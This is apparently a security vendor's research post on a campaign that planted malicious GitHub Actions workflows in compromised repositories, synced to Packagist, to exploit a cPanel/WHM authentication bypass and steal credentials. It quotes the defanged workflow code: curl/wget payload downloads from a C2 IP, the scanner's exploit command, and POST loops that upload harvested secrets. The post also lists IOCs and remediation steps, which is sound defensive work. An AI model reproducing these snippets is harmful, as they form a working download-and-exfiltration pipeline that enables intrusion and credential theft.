Research
/Security News
11 Malicious NuGet Tools Pose as Game Cheats to Drop a Windows Host-Surveillance Payload
11 malicious NuGet tools pose as game cheats to deploy Windows payloads, track hosts, and use Google Sheets for telemetry and control.
A large-scale campaign abused GitHub Actions in compromised repositories to exploit CVE-2026-41940 in cPanel and WHM and steal server credentials.
July 22, 2026
9 min read
Malicious Packagist development versions exposed a broader GitHub Actions campaign that abuses compromised repositories to exploit CVE-2026-41940
, a cPanel and WHM authentication bypass vulnerability, and harvest credentials from affected servers.
Our investigation into malicious Packagist development versions associated with a legitimate PHP and DevOps developer, dinushchathurya
, uncovered a large-scale GitHub Actions abuse campaign. Although the investigation began in the PHP package ecosystem, the PHP library code itself was not the campaign’s execution mechanism. Instead, the malicious functionality was embedded in GitHub Actions workflow files committed to the developer’s source repositories.
Between July 12 and 13, 2026, Packagist automatically synchronized malicious development versions across all ten packages associated with the compromised developer, reflecting changes the threat actor pushed to the developer’s GitHub repositories. Each affected development version contained between 55 and 62 malicious GitHub Actions workflow files, totaling 583 files across all ten package versions. These YAML automation files instruct GitHub to launch temporary Ubuntu systems, known as GitHub-hosted runners, after repository pushes or manual execution, detect each runner’s processor architecture, and download a corresponding Linux scanning and exploitation payload from the threat actor-controlled command and control (C2) server at 43[.]228[.]157[.]68
. The payload scans a broad range of internet-facing systems, targets cPanel and WHM services, attempts exploitation of CVE-2026-41940
, and searches compromised servers for credentials, configuration files, environment variables, database access, SSH material, Git tokens, cloud keys, payment service credentials, and other valuable secrets.
As written, the workflows continuously report execution status to the threat actor and upload newly collected results through HTTP POST requests. The output files they monitor include AWS credentials, GitHub and GitLab tokens, OpenAI and Google API credentials, Stripe keys, SendGrid and Mailgun credentials, database information, SSH data, Git remotes, and remote code execution results.
This attack differs from conventional malicious package campaigns. Installing one of the affected PHP packages through Packagist did not automatically execute the malicious workflows. Packagist placed the package inside the consuming project’s vendor
directory, where GitHub ignored the nested workflow files. Cloning the repository also did not execute the payload on the developer’s computer. Execution occurred when the compromised repository, with .github/workflows
at its root, received a push or when someone manually launched the workflow. The Linux payload normally ran on an ephemeral GitHub-hosted runner, which the threat actor used as disposable scanning and exploitation infrastructure.
The campaign did not rely on package users’ systems: scanning and exploitation ran on GitHub-hosted runners launched from compromised repositories. The principal downstream targets were internet-facing cPanel and WHM systems. These platforms administer website files, databases, email accounts, application configurations, and, in higher-privilege deployments, multiple customer hosting accounts from a single control plane. Compromising one server could expose several websites and numerous server-side secrets. Stolen source-control tokens could also give the threat actor access to additional repositories, accelerating the campaign’s existing software supply chain impact and enabling further repository compromise.
Further GitHub investigation shows that the activity extends far beyond one compromised PHP maintainer. A code search for the campaign’s unique DNSHook identifier returned approximately 6,100 matching workflow files. The visible results included established projects with unrelated development histories and repositories whose malicious workflows ran through GitHub Actions. Other searches using the C2 address, scanner command, credential filenames, heartbeat endpoint, and exfiltration logic returned roughly 15,000 to 16,000 matching files.
These figures represent matching files, not confirmed compromised accounts or repositories. One repository may contain many workflows, GitHub groups identical files, and some accounts may be threat actor-controlled staging infrastructure rather than victims. Nevertheless, the identical and highly distinctive code across unrelated repositories confirms that this was not an isolated Packagist package set incident. It was a broad campaign that compromised or otherwise gained control of GitHub repositories and used GitHub Actions as distributed infrastructure for internet scanning, exploitation, credential harvesting, and data exfiltration.
All ten Packagist packages associated with dinushchathurya
, a legitimate PHP and DevOps developer, exposed malicious development versions that traced back to the developer’s compromised GitHub repositories. After gaining access, the threat actor pushed malicious changes to those repositories, which Packagist automatically synchronized. These were branch-based development versions, not newly published stable releases.
The PHP library code is benign. It contains static reference data and ordinary lookup functions, with no malicious install hooks, network activity, shell execution, or import-time behavior. The attack code resides under .github/workflows/
.
Across the ten analyzed malicious development versions, each contained between 55 and 62 malicious GitHub Actions workflow files. The srilankan-local-authorities@dev-main
version provides a representative example, with 59 workflows that turned repository pushes and manual workflow runs into malware execution on GitHub-hosted Ubuntu runners.
Ordinary Packagist installation does not activate the workflows because they remain nested inside the dependency directory. The campaign’s execution layer is GitHub Actions, not PHP. The affected Packagist versions were malicious artifacts because they contained the workflows, but the threat actor’s primary objective was to weaponize compromised GitHub repositories as distributed scanning and exploitation infrastructure.
Across the ten affected development versions, the threat actor added between 55 and 62 malicious workflows per package. In the representative srilankan-local-authorities@dev-main
version, all 59 workflows are configured to run after pushes to any branch or through manual execution:
on:
push:
branches: ['**']
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
timeout-minutes: 350
Each workflow launches an ephemeral GitHub-hosted Ubuntu runner, detects its processor architecture, and downloads a matching Linux payload from 43[.]228[.]157[.]68
(here and in subsequent code excerpts, threat actor-controlled infrastructure is defanged where necessary):
curl -sfL http://43[.]228[.]157[.]68/api/dl/$_s -o /tmp/.svc ||
wget -qO /tmp/.svc http://43[.]228[.]157[.]68/api/dl/$_s
chmod 755 /tmp/.svc
The runner executes the payload as an internet scanner:
PANEL_URL="http://43[.]228[.]157[.]68:80" \
GOMEMLIMIT=2147483648 \
/tmp/.svc ipscan \
--source random,all \
--exploit CVE-2026-41940 \
--git \
--envdump \
--ports 80,443,8080,8443,2082,2083,2086,2087 \
--git-workers 20 \
--count 0 \
--no-reverse
The command targets internet-facing cPanel and WHM systems, attempts exploitation of CVE-2026-41940
, and searches exposed servers for Git data, environment variables, configuration files, credentials, and other secrets.
This design converted compromised repositories into distributed attack infrastructure. By abusing GitHub Actions, the threat actor provisioned temporary GitHub-hosted Linux runners and used their compute and internet connectivity to execute the payload, scan targets, and return results to threat actor-controlled infrastructure.
A background loop reports execution status every 30 seconds:
curl -s -X POST "$PANEL/api/github-heartbeat" \
--data-urlencode "repo=$REPO" \
--data-urlencode "log=$LINE"
The heartbeat identifies the repository and includes the latest scanner log line, giving the threat actor near-real-time visibility into each runner.
The workflow also monitors files containing exploitation results, cloud credentials, source-control tokens, API keys, database information, SSH material, and application configuration. It uploads newly written content in chunks:
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT"
The workflow tracks line offsets to avoid repeatedly sending the same data. Live collection transmits up to 2,000 new lines per request, while the final collection stage transmits up to 5,000 lines and runs even when the scanner fails. These workflows implement a resilient C2 data-exfiltration pipeline.
Fourteen recovered workflows also queried a unique DNSHook hostname:
nslookup f5b0b742-240a-4811-8a5b-b0ba6060685d.dnshook[.]site
DNSHook records lookups to unique hostnames, allowing a threat actor to confirm that a command executed even when the compromised system returns no direct response.
The hostname also provided a high-fidelity campaign pivot. At the time of our analysis, GitHub Code Search returned approximately 6,100 matching workflow files. The visible results included unrelated repositories. Broader searches using the C2 address, scanner arguments, credential filenames, and exfiltration endpoints returned roughly 15,000 to 16,000 matching files.
The matching files are not confirmed compromised repositories or accounts. Some repositories contained multiple workflow copies, and some accounts may have represented threat actor-controlled staging infrastructure. However, the distinctive code reuse confirms that the activity extended far beyond one PHP maintainer.
The server at 43[.]228[.]157[.]68
supported three confirmed campaign functions through distinct HTTP API paths:
/api/dl/386
/api/dl/amd64
/api/dl/arm
/api/dl/arm64
/api/github-heartbeat
/api/github-results
The architecture-specific endpoints distributed Linux executables for 32-bit x86, 64-bit x86, 32-bit ARM, and 64-bit ARM systems. The recovered AMD64 payload has the following SHA-256: 22f721fd3a81d2e27cbf90a122bb977f630c50b79daa98350f0e57b04dfa81f1
.
Hosting the executable outside GitHub allowed the threat actor to replace or expand the payload without modifying the malicious workflows. The repositories exposed only the delivery and collection logic, while the server retained the campaign’s principal exploitation capabilities.
The payload targets internet-facing cPanel and WHM systems through CVE-2026-41940
, an authentication bypass vulnerability. cPanel provides account-level administration for an individual hosting customer, while WHM operates as the higher-privilege server control plane used to create and manage multiple cPanel accounts. That hierarchy makes WHM especially valuable to a threat actor: one successful compromise may provide access across several hosted environments, while cPanel access can expose the websites, databases, email accounts, and application secrets of a single customer.
The scanner searches compromised servers for:
This collection reflects an opportunistic server-side credential theft operation. Stolen cloud, payment, and email credentials offered immediate value, while source-control tokens could enable further repository compromise and accelerate the campaign’s existing software supply chain impact.
Identical workflows appeared across unrelated GitHub repositories, including established projects with recorded Actions runs. This confirms a broad campaign, but public evidence cannot determine whether each account was compromised, threat actor-controlled, or intentionally participating.
The affected parties differed:
The suspended dinushchathurya
GitHub account disrupted one launch path, but it did not end the campaign. Other repositories, forks, mirrors, cached snapshots, stolen credentials, compromised servers, and threat actor infrastructure may remain active. At the time of writing, the operation should be treated as ongoing rather than as a closed incident affecting one PHP maintainer.
Affected repository owners should disable suspicious workflows, preserve commits and Actions logs, rotate GitHub credentials, review OAuth and GitHub App access, and require approval for changes under .github/workflows
. Organizations should minimize GITHUB_TOKEN
permissions, restrict self-hosted runners, monitor CI egress, and alert on payload downloads from raw IP addresses.
Packagist users should avoid unreviewed development versions, verify lockfile commit references, remove affected development versions, and update lockfiles to known-good commit references or stable releases. Operators should update cPanel and WHM to a patched build, follow the current remediation instructions, and run cPanel’s IOC detection script on any server that remained exposed while unpatched. If compromise is suspected, organizations should rotate potentially exposed server-side credentials and investigate unauthorized sessions and other post-exploitation artifacts.
CI workflows are executable software supply chain components and require the same review, access controls, and monitoring as application code.
The following identifiers belong to the compromised developer and should be treated as victim identifiers, not threat actor attribution:
dinushchathurya
https://packagist.org/users/dinushchathurya/
dinushchathurya
https://github.com/dinushchathurya/
dinushchathurya/nationality-list
dinushchathurya/srilankan-divisional-secretariats
dinushchathurya/srilankan-gn-divisions
dinushchathurya/srilankan-local-authorities
dinushchathurya/srilankan-mobile-number-validator
dinushchathurya/srilankan-state-hospitals
dinushchathurya/srilankan-universities
dinushchathurya/uk-mobile-number-validator
dinushchathurya/uk-post-code
dinushchathurya/websmslk
43[.]228[.]157[.]68
43[.]228[.]157[.]68:80
hxxp://43[.]228[.]157[.]68:80/api/dl/386
hxxp://43[.]228[.]157[.]68:80/api/dl/amd64
hxxp://43[.]228[.]157[.]68:80/api/dl/arm
hxxp://43[.]228[.]157[.]68:80/api/dl/arm64
hxxp://43[.]228[.]157[.]68:80/api/github-heartbeat
hxxp://43[.]228[.]157[.]68:80/api/github-results
f5b0b742-240a-4811-8a5b-b0ba6060685d.dnshook[.]site
22f721fd3a81d2e27cbf90a122bb977f630c50b79daa98350f0e57b04dfa81f1
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Research
/Security News
11 malicious NuGet tools pose as game cheats to deploy Windows payloads, track hosts, and use Google Sheets for telemetry and control.
Research
/Security News
4 compromised asyncapi packages deliver miasma botnet loader on macOS, Linux and Windows.
Research
/Security News
A compromised jscrambler npm release added a malicious preinstall hook that runs hidden native binaries on Linux, macOS, and Windows.
